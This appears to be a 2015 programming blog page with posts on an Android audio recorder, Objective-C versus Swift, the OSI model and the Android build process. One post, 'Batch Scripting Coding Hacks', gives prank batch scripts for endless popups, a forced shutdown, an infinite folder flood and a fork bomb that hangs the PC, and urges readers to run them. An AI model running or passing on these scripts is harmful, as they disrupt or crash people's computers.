Saturday 31 January 2015

HB Blog 55: Android Audio Recorder Using MediaRecorder.

In this post, I will show how to build audio recorder in android. MediaRecorder class gives us various methods that helps us to manage audio recording states. Methods such as start(), stop(), etc. does their basic job while methods such as setOutputFile() helps to stop output file in sd - card.

Refer the below link for complete sample code:-
Download Sample Code
Download Apk File
Have a look on few code snippets,

MainActivity.java
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
public class MainActivity extends Activity {
    private static String mFileName = null;
    private MediaRecorder mRecorder = null;
    private MediaPlayer mPlayer = null;
    boolean mStartRecording = true;
    boolean mStartPlaying = true;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button btn_record=(Button)findViewById(R.id.btn_record);
        Button btn_play=(Button)findViewById(R.id.btn_play);


        btn_record.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                onRecord(mStartRecording);
                mStartRecording = !mStartRecording;

            }
        });

        btn_play.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                onPlay(mStartPlaying);
                mStartPlaying = !mStartPlaying;
            }
        });
    }


    private void startRecording() {
        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        mFileName = Environment.getExternalStorageDirectory().getAbsolutePath();
        mFileName += "/hbtest";
        mRecorder.setOutputFile(mFileName);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

        try {
            mRecorder.prepare();
        } catch (IOException e) {
        }

        try {
            mRecorder.start();
        } catch (IllegalStateException e) {
            e.printStackTrace();
        }
    }

    private void stopRecording() {
        mRecorder.stop();
        mRecorder.release();
        mRecorder = null;
    }

    private void onRecord(boolean start) {
        if (start) {
            startRecording();
        } else {
            stopRecording();
        }
    }

    private void startPlaying() {
        mPlayer = new MediaPlayer();
        try {
            mPlayer.setDataSource(mFileName);
            mPlayer.prepare();
            mPlayer.start();
        } catch (IOException e) {
        }
    }

    private void stopPlaying() {
        mPlayer.release();
        mPlayer = null;
    }

    private void onPlay(boolean start) {
        if (start) {
            startPlaying();
        } else {
            stopPlaying();
        }
    }

    @Override
    protected void onPause() {
        super.onPause();
        if (mRecorder != null) {
            mRecorder.release();
            mRecorder = null;
        }

        if (mPlayer != null) {
            mPlayer.release();
            mPlayer = null;
        }
    }
}

Saturday 24 January 2015

HB Blog 54: Objective-C And(not VS) Swift.

I have been thinking a lot about the right tile for this post. Objective-C And(not VS) Swift sounds more
informative rather than comparison and differences. Afterall, we don't prefer to discriminate on basic of
languages.

Objective-C is a general-purpose, object-oriented programming language that adds Smalltalk-style messaging to the C programming language. It is the main programming language used by Apple for the OS X and iOS operating systems, and their respective application programming interfaces (APIs), Cocoa and Cocoa Touch.

Swift is a multi-paradigm, compiled programming language created by Apple for iOS and OS X development. Swift is designed to work with Apple's Cocoa and Cocoa Touch frameworks and the large body of existing Objective-C code written for Apple products.

There many similarity between both of them as follows:-
1)Both are used by Apple.(I need not brief on that context.)
2)Both have same basic numeric types (Int, UInt, Float, Double).
3)Both use curly braces to group statements.
4)In both, variables are assigned using an equals sign, but compared using two consecutive equals signs.
5)In both, control statements, for, while, if, switch are similar.
6)In both, class methods are inherited, just like instance methods, self in class methods is the class the method was called on.

But,they both have few differences too,
1)In Swift, statements do not need to end with a semicolon (;), though they must be used to allow more than one statement on a line
2)In Swift, header files are not required
3)In Swift, functions are first-class objects.
4)In Swift, enumeration cases can have associated data (algebraic data types).
5)In Swift, operators can be redefined for classes (operator overloading), and new operators can be created.
6)In Swift, strings fully support Unicode. Most Unicode characters can be used in either identifiers or operators.
7)In Swift, no exception handling (though it can be emulated through use of closures).
This is not seen in Objective-C.

Saturday 17 January 2015

HB Blog 53: Open Systems Interconnection Model (OSI Model).

 We usually never try to think on the communication system and how it actually works at root level.
We are so surrounded with communication systems that personally I feel it has become 4 basic need
of human being. It sounds bit boring to read and learn or can say study. But I feel as a user of this system
I would brief out one model know as OSI model of communication system.

The Open Systems Interconnection model (OSI) is a conceptual model that characterizes and standardizes the internal functions of a communication system by partitioning it into abstraction layers. The recommendation X.200 describes seven layers, labeled 1 to 7. Layer 1 is the lowest layer in this model.
The internal data communication between this layers can be describe by below diagram.

Layer 1: physical layer
It defines the electrical and physical specifications of the data connection. It defines the relationship between a device and a physical transmission medium (e.g., a copper or fiber optical cable). This includes the layout of pins, voltages, line impedance, cable specifications, signal timing, hubs, repeaters, network adapters, host bus adapters (HBA used in storage area networks) and more.It defines the protocol to establish and terminate a connection between two directly connected nodes over a communications medium.

Layer 2: data link layer
The data link layer provides node-to-node data transfer -- a reliable link between two directly connected nodes, by detecting and possibly correcting errors that may occur in the physical layer. The data link layer is divided into two sublayers:
    Media Access Control (MAC) layer - responsible for controlling how devices in a network gain access to data and permission to transmit it.
    Logical Link Control (LLC) layer - controls error checking and packet synchronization.

Layer 3: network layer
The network layer provides the functional and procedural means of transferring variable length data sequences (called datagrams) from one node to another connected to the same network. It translates logical network address into physical machine address.

Layer 4: transport layer
The transport layer provides the functional and procedural means of transferring variable-length data sequences from a source to a destination host via one or more networks, while maintaining the quality of service functions.The transport layer controls the reliability of a given link through flow control, segmentation/desegmentation, and error control.

Layer 5: session layer
The session layer controls the dialogues (connections) between computers. It establishes, manages and terminates the connections between the local and remote application. It provides for full-duplex, half-duplex, or simplex operation, and establishes checkpointing, adjournment, termination, and restart procedures.

Layer 6: presentation layer
The presentation layer establishes context between application-layer entities, in which the application-layer entities may use different syntax and semantics if the presentation service provides a big mapping between them.This layer provides independence from data representation (e.g., encryption) by translating between application and network formats. The presentation layer transforms data into the form that the application accepts. This layer formats and encrypts data to be sent across a network.

Layer 7: application layer
The application layer is the OSI layer closest to the end user, which means both the OSI application layer and the user interact directly with the software application. This layer interacts with software applications that implement a communicating component.

Saturday 10 January 2015

HB Blog 52: Batch Scripting Coding Hacks!!!

In DOS, OS/2, and Windows, a batch file is a type of script file, a text file containing a series of commands to be executed by the command line interpreter. Now just open your notepad, copy the below sample codes and save notepad file with .bat extension, just don't forget to click them. Enjoy!!!

1)Matrix Effect :-
1
2
3
4
5
@echo off
 color 02
:start
echo %random% %random% %random% %random% HACKING begins %random% %random% %random% %random% %random% %random%
goto start 

2)Unstoppable Popups :-
1
2
3
4
@echo off
:BEGIN
msg * HACKING begins
goto BEGIN

3)Shutdown PC :-
1
2
3
4
@echo off
cls
msg * You Are Hacked
shutdown -s -c "ERROR! YOU ARE HACKED"

4)Infinite Folders :-
1
2
3
4
@echo off
:top
md %random%
goto top

5)Pc Hanger :-
1
:s<br />start %0<br />%0|%0<br />goto :s<br />

Wednesday 7 January 2015

HB Blog 51: Android Build System - How Android Apk Is Built.

The Android build system is the toolkit you use to build, test, run and package your apps. The build system can run as an integrated tool from the Android Studio menu and independently from the command line.The build process involves many tools and processes that generate intermediate files on the way to producing an .apk. The following diagram depicts the different tools and processes that are involved in a build:

The general process for a typical build is outlined below. The build system merges all the resources from the configured product flavors, build types, and dependencies. If different folders contain resources with the same name or setting, the following override priority order is: dependencies override build types, which override product flavors, which override the main source directory.
  • The Android Asset Packaging Tool (aapt) takes your application resource files, such as the AndroidManifest.xml file and the XML files for your Activities, and compiles them. An R.java is also produced so you can reference your resources from your Java code.
  • The aidl tool converts any .aidl interfaces that you have into Java interfaces.
  • All of your Java code, including the R.java and .aidl files, are compiled by the Java compiler and .class files are output.
  • The dex tool converts the .class files to Dalvik byte code. Any 3rd party libraries and .class files that you have included in your module build are also converted into .dex files so that they can be packaged into the final .apk file.
  • All non-compiled resources (such as images), compiled resources, and the .dex files are sent to the apkbuilder tool to be packaged into an .apk file.
  • Once the .apk is built, it must be signed with either a debug or release key before it can be installed to a device.
  • Finally, if the application is being signed in release mode, you must align the .apk with the zipalign tool. Aligning the final .apk decreases memory usage when the application is -running on a device.